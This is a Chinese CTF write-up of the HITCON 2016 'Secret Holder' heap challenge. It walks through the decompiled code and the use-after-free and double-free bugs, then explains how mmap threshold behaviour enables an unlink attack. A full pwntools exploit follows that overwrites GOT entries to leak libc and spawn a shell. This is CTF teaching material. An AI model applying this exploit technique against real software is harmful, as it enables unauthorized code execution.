前言
关于unlink我写了另一篇文章详细解释。unlink初学时还是建议跟着调试一下,加深一下印象,文章中的注意点都是容易出错的地方。
https://bbs.kanxue.com/thread-278315.htm
检查文件信息
1
2
ELF64小端动态链接的bin,没有开PIE和FULL RELRO。
3
5
我并未下载2.19的glibc,还是先修改为glibc2.23。
试运行
4
逆向分析
/*main函数*/
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_400C80();
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v3 = atoi(s);
switch ( v3 )
{
case 2:
Wipe();
break;
case 3:
Renew();
break;
case 1:
Keep();
break;
}
}
}
/*Keep()函数*/
unsigned __int64 Keep()
{
int v0; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which level of secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v0 = atoi(s);
if ( v0 == 2 )
{
if ( !big_in_use )
{
big_data = calloc(1uLL, 0xFA0uLL);
big_in_use = 1;
puts("Tell me your secret: ");
read(0, big_data, 0xFA0uLL);
}
}
else if ( v0 == 3 )
{
if ( !huge_in_use )
{
huge_data = calloc(1uLL, 0x61A80uLL);
huge_in_use = 1;
puts("Tell me your secret: ");
read(0, huge_data, 0x61A80uLL);
}
}
else if ( v0 == 1 && !small_in_use )
{
small_data = calloc(1uLL, 0x28uLL);
small_in_use = 1;
puts("Tell me your secret: ");
read(0, small_data, 0x28uLL);
}
return __readfsqword(0x28u) ^ v3;
}
/*Wipe()函数*/
unsigned __int64 Wipe()
{
int v0; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v0 = atoi(s);
switch ( v0 )
{
case 2:
free(big_data);
big_in_use = 0; // 并未将big_data置零,并未检查标志位是否为0,存在Double Free漏洞。
break;
case 3:
free(huge_data); // 并未将huge_data置零,并未检查标志位是否为0,存在Double Free漏洞。
huge_in_use = 0;
break;
case 1:
free(small_data); // 并未将small_data置零,并未检查标志位是否为0,存在Double Free漏洞。
small_in_use = 0;
break;
}
return __readfsqword(0x28u) ^ v3;
}
很明显存在UAF漏洞和Double Free漏洞。
/*Renew()函数*/
unsigned __int64 Renew()
{
int v0; // eax
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(s, 0, 4uLL);
read(0, s, 4uLL); // 没有处理'\n',没添加'\x00',可能存在信息泄露风险
v0 = atoi(s);
if ( v0 == 2 )
{
if ( big_in_use )
{
puts("Tell me your secret: ");
read(0, big_data, 0xFA0uLL);
}
}
else if ( v0 == 3 )
{
if ( huge_in_use )
{
puts("Tell me your secret: ");
read(0, huge_data, 0x61A80uLL);
}
}
else if ( v0 == 1 && small_in_use )
{
puts("Tell me your secret: ");
read(0, small_data, 0x28uLL);
}
return __readfsqword(0x28u) ^ v3;
}
漏洞利用
没有开FULL RELRO,可以考虑劫持got表,利用UAF实现堆块重叠,进而实现unlink。
扩展top_chunk,利用UAF通过Huge控制small 和 big块。
def unlink(): keep(3, b'A')
debug() # 1
wipe(3)
debug() # 2 这时已经调整了mmap分配阈值。
keep(1, b'A')
debug() # 3
wipe(1) # 因为存在UAF和DF,此时small_ptr指向top_chunk_fd,可以通过small_ptr释放huge_ptr
debug() # 4
keep(3, b'A')
debug() # 5
wipe(1) # 因为存在UAF和DF,此时huge_ptr和small_ptr指向同一位置,可以通过small_ptr释放huge_ptr
debug() # 6
keep(1, b'A')
keep(2, b'A')
debug() # 7
payload = flat(0,0x21, small_ptr-0x18, small_ptr-0x10, 0x20, 0xfb0)
renew(3, payload)
wipe(2)
其实,很明显当前top_chunk无法满足huge_chunk(0x61A80)的分配,此时ptmalloc2会决定使用sbrk()还是mmap()分配内存,64bit的mmap阈值在128k(0x20000)到256k(0x40000)之间,而且是动态调整的。当我们申请并释放huge_chunk后,因为为mmap()性能并不好,会动态调整mmap()阈值,当我们再次申请huge_chunk时,会通过sbrk来申请,再次释放的时候,huge_chunk会进入top_chunk。
debug() # 1
6
debug() # 2
7
当我们申请huge_chunk后,明显0x61A80大于0x40000,会调用mmap()申请一块内存,释放后,这块mmap()申请到内存会用munmap()返还给操作系统,debug_1和debug_2 无法使用heap命令原因如此。
debug() # 3
8
debug() # 4
9
当我们申请释放3的时候,top_chunk并未改变大小,并且small_chunk(名字叫small_chunk,其实是fastchunk)进入了fast bin。
debug() # 5
10
这时我们申请的huge_chunk是通过sbrk得来的。
debug() # 6
11
通过small_ptr释放huge_chunk进入top_chunk,top_chunk成功扩大。
debug() # 7
12
此时huge_in_use并未被置为0,而且huge_chunk包含了small_chunk和big_chunk。huge_ptr和small_ptr指向同一位置。
此时堆结构如下。
13
执行完payload后的布局如下
14
此时wipe(2)即可实现unlink达到任意地址写的效果。至此我们成功将small_ptr指向了small_ptr-0x18的位置。
泄露libc基址,并getshell
def get_shell():
payload = flat(b'/bin/sh\x00', elf.got['free'], elf.got['puts'], small_ptr-0x18) + p64(0xdeadbeef)
renew(1, payload)
renew(2, flat(elf.plt['puts']))
wipe(3)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
renew(2, flat(libc_elf.sym['system']))
wipe(1)
p.interactive()
unlink前bss原布局
15
unlink后bss新布局
17
将第一个payload写入后,bss布局
21
renew(2, flat(elf.plt['puts']))就是将free_got改为puts_plt
19
然后wipe(3)将会打印出puts_got保存的真实地址,根据libc里面得puts的偏移可以算出栈的基址。同理renew(2, flat(libc_elf.sym['system']))将free_got保存的内容由puts_plt改为system的真实地址,然后wipe(1)就是执行system(new_small),也就是system("/bin/sh\x00")。
20
完整exp
from pwn import *
context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']
elf = ELF('./secretHolder_hitcon_2016')
libc_elf = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
small_ptr = 0x6020b0
p = process('./secretHolder_hitcon_2016')
def debug():
gdb.attach(p)
pause()
def keep(idx, msg):
p.sendlineafter(b"3. Renew secret\n", b'1')
p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
p.sendafter(b"Tell me your secret: ", msg)
def wipe(idx):
p.sendlineafter(b"3. Renew secret\n", b'2')
p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
def renew(idx, msg):
p.sendlineafter(b"3. Renew secret\n", b'3')
p.sendlineafter(b"3. Huge secret\n", str(idx).encode())
p.sendafter(b"Tell me your secret: ", msg)
def unlink():
keep(3, b'A')
#debug() # 1
wipe(3)
#debug() # 2
keep(1, b'A')
#debug() # 3
wipe(1)
#debug() # 4
keep(3, b'A')
#debug() # 5
wipe(1)
#debug() # 6
keep(1, b'A')
keep(2, b'A')
#debug() # 7
payload = flat(0,0x21, small_ptr-0x18, small_ptr-0x10, 0x20, 0xfb0)
renew(3, payload)
wipe(2)
def get_shell():
payload = flat(b'/bin/sh\x00', elf.got['free'], elf.got['puts'], small_ptr-0x18) + p64(0xdeadbeef)
renew(1, payload)
renew(2, flat(elf.plt['puts']))
wipe(3)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
renew(2, flat(libc_elf.sym['system']))
wipe(1)
p.interactive()
def pwn():
unlink()
get_shell()
if __name__ == '__main__':
pwn()